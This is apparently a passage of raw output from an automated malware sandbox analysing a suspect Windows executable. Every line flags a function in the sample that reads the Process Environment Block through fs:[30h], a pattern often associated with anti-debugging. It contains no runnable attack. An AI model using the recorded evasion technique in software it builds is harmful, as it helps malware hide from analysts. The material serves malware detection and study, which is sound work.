Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5B440 mov eax, dword ptr fs:[00000030h]	5_2_36D5B440
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2547F mov eax, dword ptr fs:[00000030h]	5_2_36E2547F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F453 mov eax, dword ptr fs:[00000030h]	5_2_36E0F453
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51460 mov eax, dword ptr fs:[00000030h]	5_2_36D51460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51460 mov eax, dword ptr fs:[00000030h]	5_2_36D51460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51460 mov eax, dword ptr fs:[00000030h]	5_2_36D51460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51460 mov eax, dword ptr fs:[00000030h]	5_2_36D51460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51460 mov eax, dword ptr fs:[00000030h]	5_2_36D51460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F460 mov eax, dword ptr fs:[00000030h]	5_2_36D6F460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F460 mov eax, dword ptr fs:[00000030h]	5_2_36D6F460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F460 mov eax, dword ptr fs:[00000030h]	5_2_36D6F460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F460 mov eax, dword ptr fs:[00000030h]	5_2_36D6F460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F460 mov eax, dword ptr fs:[00000030h]	5_2_36D6F460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6F460 mov eax, dword ptr fs:[00000030h]	5_2_36D6F460
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD7410 mov eax, dword ptr fs:[00000030h]	5_2_36DD7410
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7340D mov eax, dword ptr fs:[00000030h]	5_2_36D7340D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DCD5D0 mov eax, dword ptr fs:[00000030h]	5_2_36DCD5D0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DCD5D0 mov ecx, dword ptr fs:[00000030h]	5_2_36DCD5D0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D795DA mov eax, dword ptr fs:[00000030h]	5_2_36D795DA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D855C0 mov eax, dword ptr fs:[00000030h]	5_2_36D855C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715F4 mov eax, dword ptr fs:[00000030h]	5_2_36D715F4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715F4 mov eax, dword ptr fs:[00000030h]	5_2_36D715F4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715F4 mov eax, dword ptr fs:[00000030h]	5_2_36D715F4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715F4 mov eax, dword ptr fs:[00000030h]	5_2_36D715F4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715F4 mov eax, dword ptr fs:[00000030h]	5_2_36D715F4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715F4 mov eax, dword ptr fs:[00000030h]	5_2_36D715F4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E255C9 mov eax, dword ptr fs:[00000030h]	5_2_36E255C9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E235D7 mov eax, dword ptr fs:[00000030h]	5_2_36E235D7
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E235D7 mov eax, dword ptr fs:[00000030h]	5_2_36E235D7
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E235D7 mov eax, dword ptr fs:[00000030h]	5_2_36E235D7
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDB594 mov eax, dword ptr fs:[00000030h]	5_2_36DDB594
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDB594 mov eax, dword ptr fs:[00000030h]	5_2_36DDB594
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E235B6 mov eax, dword ptr fs:[00000030h]	5_2_36E235B6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4758F mov eax, dword ptr fs:[00000030h]	5_2_36D4758F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4758F mov eax, dword ptr fs:[00000030h]	5_2_36D4758F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4758F mov eax, dword ptr fs:[00000030h]	5_2_36D4758F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F5BE mov eax, dword ptr fs:[00000030h]	5_2_36E0F5BE
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE35BA mov eax, dword ptr fs:[00000030h]	5_2_36DE35BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE35BA mov eax, dword ptr fs:[00000030h]	5_2_36DE35BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE35BA mov eax, dword ptr fs:[00000030h]	5_2_36DE35BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE35BA mov eax, dword ptr fs:[00000030h]	5_2_36DE35BA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F5B0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DED5B0 mov eax, dword ptr fs:[00000030h]	5_2_36DED5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DED5B0 mov eax, dword ptr fs:[00000030h]	5_2_36DED5B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715A9 mov eax, dword ptr fs:[00000030h]	5_2_36D715A9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715A9 mov eax, dword ptr fs:[00000030h]	5_2_36D715A9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715A9 mov eax, dword ptr fs:[00000030h]	5_2_36D715A9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715A9 mov eax, dword ptr fs:[00000030h]	5_2_36D715A9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D715A9 mov eax, dword ptr fs:[00000030h]	5_2_36D715A9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB550 mov eax, dword ptr fs:[00000030h]	5_2_36DFB550
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB550 mov eax, dword ptr fs:[00000030h]	5_2_36DFB550
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB550 mov eax, dword ptr fs:[00000030h]	5_2_36DFB550
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8B570 mov eax, dword ptr fs:[00000030h]	5_2_36D8B570
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8B570 mov eax, dword ptr fs:[00000030h]	5_2_36D8B570
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B562 mov eax, dword ptr fs:[00000030h]	5_2_36D4B562
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0B52F mov eax, dword ptr fs:[00000030h]	5_2_36E0B52F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25537 mov eax, dword ptr fs:[00000030h]	5_2_36E25537
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D87505 mov eax, dword ptr fs:[00000030h]	5_2_36D87505
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D87505 mov ecx, dword ptr fs:[00000030h]	5_2_36D87505
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5D534 mov eax, dword ptr fs:[00000030h]	5_2_36D5D534
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5D534 mov eax, dword ptr fs:[00000030h]	5_2_36D5D534
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5D534 mov eax, dword ptr fs:[00000030h]	5_2_36D5D534
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5D534 mov eax, dword ptr fs:[00000030h]	5_2_36D5D534
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5D534 mov eax, dword ptr fs:[00000030h]	5_2_36D5D534
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5D534 mov eax, dword ptr fs:[00000030h]	5_2_36D5D534
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8D530 mov eax, dword ptr fs:[00000030h]	5_2_36D8D530
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8D530 mov eax, dword ptr fs:[00000030h]	5_2_36D8D530
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFF525 mov eax, dword ptr fs:[00000030h]	5_2_36DFF525
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFF525 mov eax, dword ptr fs:[00000030h]	5_2_36DFF525
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFF525 mov eax, dword ptr fs:[00000030h]	5_2_36DFF525
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFF525 mov eax, dword ptr fs:[00000030h]	5_2_36DFF525
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFF525 mov eax, dword ptr fs:[00000030h]	5_2_36DFF525
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFF525 mov eax, dword ptr fs:[00000030h]	5_2_36DFF525
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFF525 mov eax, dword ptr fs:[00000030h]	5_2_36DFF525
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E252E2 mov eax, dword ptr fs:[00000030h]	5_2_36E252E2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F2D0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F2D0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F2D0 mov eax, dword ptr fs:[00000030h]	5_2_36D7F2D0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B2D3 mov eax, dword ptr fs:[00000030h]	5_2_36D4B2D3
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B2D3 mov eax, dword ptr fs:[00000030h]	5_2_36D4B2D3
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B2D3 mov eax, dword ptr fs:[00000030h]	5_2_36D4B2D3
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E012ED mov eax, dword ptr fs:[00000030h]	5_2_36E012ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D592C5 mov eax, dword ptr fs:[00000030h]	5_2_36D592C5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D592C5 mov eax, dword ptr fs:[00000030h]	5_2_36D592C5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0 mov eax, dword ptr fs:[00000030h]	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0 mov eax, dword ptr fs:[00000030h]	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0 mov eax, dword ptr fs:[00000030h]	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0 mov eax, dword ptr fs:[00000030h]	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0 mov eax, dword ptr fs:[00000030h]	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0 mov eax, dword ptr fs:[00000030h]	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B2C0 mov eax, dword ptr fs:[00000030h]	5_2_36D7B2C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F2F8 mov eax, dword ptr fs:[00000030h]	5_2_36E0F2F8
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D492FF mov eax, dword ptr fs:[00000030h]	5_2_36D492FF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB2F0 mov eax, dword ptr fs:[00000030h]	5_2_36DFB2F0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFB2F0 mov eax, dword ptr fs:[00000030h]	5_2_36DFB2F0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8329E mov eax, dword ptr fs:[00000030h]	5_2_36D8329E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8329E mov eax, dword ptr fs:[00000030h]	5_2_36D8329E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E192A6 mov eax, dword ptr fs:[00000030h]	5_2_36E192A6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E192A6 mov eax, dword ptr fs:[00000030h]	5_2_36E192A6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E192A6 mov eax, dword ptr fs:[00000030h]	5_2_36E192A6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E192A6 mov eax, dword ptr fs:[00000030h]	5_2_36E192A6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25283 mov eax, dword ptr fs:[00000030h]	5_2_36E25283
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD92BC mov eax, dword ptr fs:[00000030h]	5_2_36DD92BC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD92BC mov eax, dword ptr fs:[00000030h]	5_2_36DD92BC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD92BC mov ecx, dword ptr fs:[00000030h]	5_2_36DD92BC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD92BC mov ecx, dword ptr fs:[00000030h]	5_2_36DD92BC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D652A0 mov eax, dword ptr fs:[00000030h]	5_2_36D652A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D652A0 mov eax, dword ptr fs:[00000030h]	5_2_36D652A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D652A0 mov eax, dword ptr fs:[00000030h]	5_2_36D652A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D652A0 mov eax, dword ptr fs:[00000030h]	5_2_36D652A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE72A0 mov eax, dword ptr fs:[00000030h]	5_2_36DE72A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE72A0 mov eax, dword ptr fs:[00000030h]	5_2_36DE72A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1D26B mov eax, dword ptr fs:[00000030h]	5_2_36E1D26B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1D26B mov eax, dword ptr fs:[00000030h]	5_2_36E1D26B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49240 mov eax, dword ptr fs:[00000030h]	5_2_36D49240
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49240 mov eax, dword ptr fs:[00000030h]	5_2_36D49240
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8724D mov eax, dword ptr fs:[00000030h]	5_2_36D8724D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D79274 mov eax, dword ptr fs:[00000030h]	5_2_36D79274
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D91270 mov eax, dword ptr fs:[00000030h]	5_2_36D91270
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D91270 mov eax, dword ptr fs:[00000030h]	5_2_36D91270
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0B256 mov eax, dword ptr fs:[00000030h]	5_2_36E0B256
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0B256 mov eax, dword ptr fs:[00000030h]	5_2_36E0B256
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25227 mov eax, dword ptr fs:[00000030h]	5_2_36E25227
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D87208 mov eax, dword ptr fs:[00000030h]	5_2_36D87208
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D87208 mov eax, dword ptr fs:[00000030h]	5_2_36D87208
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F3E6 mov eax, dword ptr fs:[00000030h]	5_2_36E0F3E6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E253FC mov eax, dword ptr fs:[00000030h]	5_2_36E253FC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0B3D0 mov ecx, dword ptr fs:[00000030h]	5_2_36E0B3D0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DA739A mov eax, dword ptr fs:[00000030h]	5_2_36DA739A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DA739A mov eax, dword ptr fs:[00000030h]	5_2_36DA739A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF13B9 mov eax, dword ptr fs:[00000030h]	5_2_36DF13B9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF13B9 mov eax, dword ptr fs:[00000030h]	5_2_36DF13B9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF13B9 mov eax, dword ptr fs:[00000030h]	5_2_36DF13B9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D733A5 mov eax, dword ptr fs:[00000030h]	5_2_36D733A5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D833A0 mov eax, dword ptr fs:[00000030h]	5_2_36D833A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D833A0 mov eax, dword ptr fs:[00000030h]	5_2_36D833A0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E2539D mov eax, dword ptr fs:[00000030h]	5_2_36E2539D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49353 mov eax, dword ptr fs:[00000030h]	5_2_36D49353
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49353 mov eax, dword ptr fs:[00000030h]	5_2_36D49353
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0F367 mov eax, dword ptr fs:[00000030h]	5_2_36E0F367
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4D34C mov eax, dword ptr fs:[00000030h]	5_2_36D4D34C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4D34C mov eax, dword ptr fs:[00000030h]	5_2_36D4D34C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25341 mov eax, dword ptr fs:[00000030h]	5_2_36E25341
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D57370 mov eax, dword ptr fs:[00000030h]	5_2_36D57370
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D57370 mov eax, dword ptr fs:[00000030h]	5_2_36D57370
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D57370 mov eax, dword ptr fs:[00000030h]	5_2_36D57370
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF3370 mov eax, dword ptr fs:[00000030h]	5_2_36DF3370
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1132D mov eax, dword ptr fs:[00000030h]	5_2_36E1132D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1132D mov eax, dword ptr fs:[00000030h]	5_2_36E1132D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD930B mov eax, dword ptr fs:[00000030h]	5_2_36DD930B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD930B mov eax, dword ptr fs:[00000030h]	5_2_36DD930B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD930B mov eax, dword ptr fs:[00000030h]	5_2_36DD930B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D47330 mov eax, dword ptr fs:[00000030h]	5_2_36D47330
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7F32A mov eax, dword ptr fs:[00000030h]	5_2_36D7F32A
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D790DB mov eax, dword ptr fs:[00000030h]	5_2_36D790DB
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov ecx, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov ecx, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov ecx, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov ecx, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D670C0 mov eax, dword ptr fs:[00000030h]	5_2_36D670C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DCD0C0 mov eax, dword ptr fs:[00000030h]	5_2_36DCD0C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DCD0C0 mov eax, dword ptr fs:[00000030h]	5_2_36DCD0C0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D750E4 mov eax, dword ptr fs:[00000030h]	5_2_36D750E4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D750E4 mov ecx, dword ptr fs:[00000030h]	5_2_36D750E4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E250D9 mov eax, dword ptr fs:[00000030h]	5_2_36E250D9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D55096 mov eax, dword ptr fs:[00000030h]	5_2_36D55096
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8909C mov eax, dword ptr fs:[00000030h]	5_2_36D8909C
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7D090 mov eax, dword ptr fs:[00000030h]	5_2_36D7D090
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7D090 mov eax, dword ptr fs:[00000030h]	5_2_36D7D090
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4D08D mov eax, dword ptr fs:[00000030h]	5_2_36D4D08D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDD080 mov eax, dword ptr fs:[00000030h]	5_2_36DDD080
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDD080 mov eax, dword ptr fs:[00000030h]	5_2_36DDD080
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF705E mov ebx, dword ptr fs:[00000030h]	5_2_36DF705E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF705E mov eax, dword ptr fs:[00000030h]	5_2_36DF705E
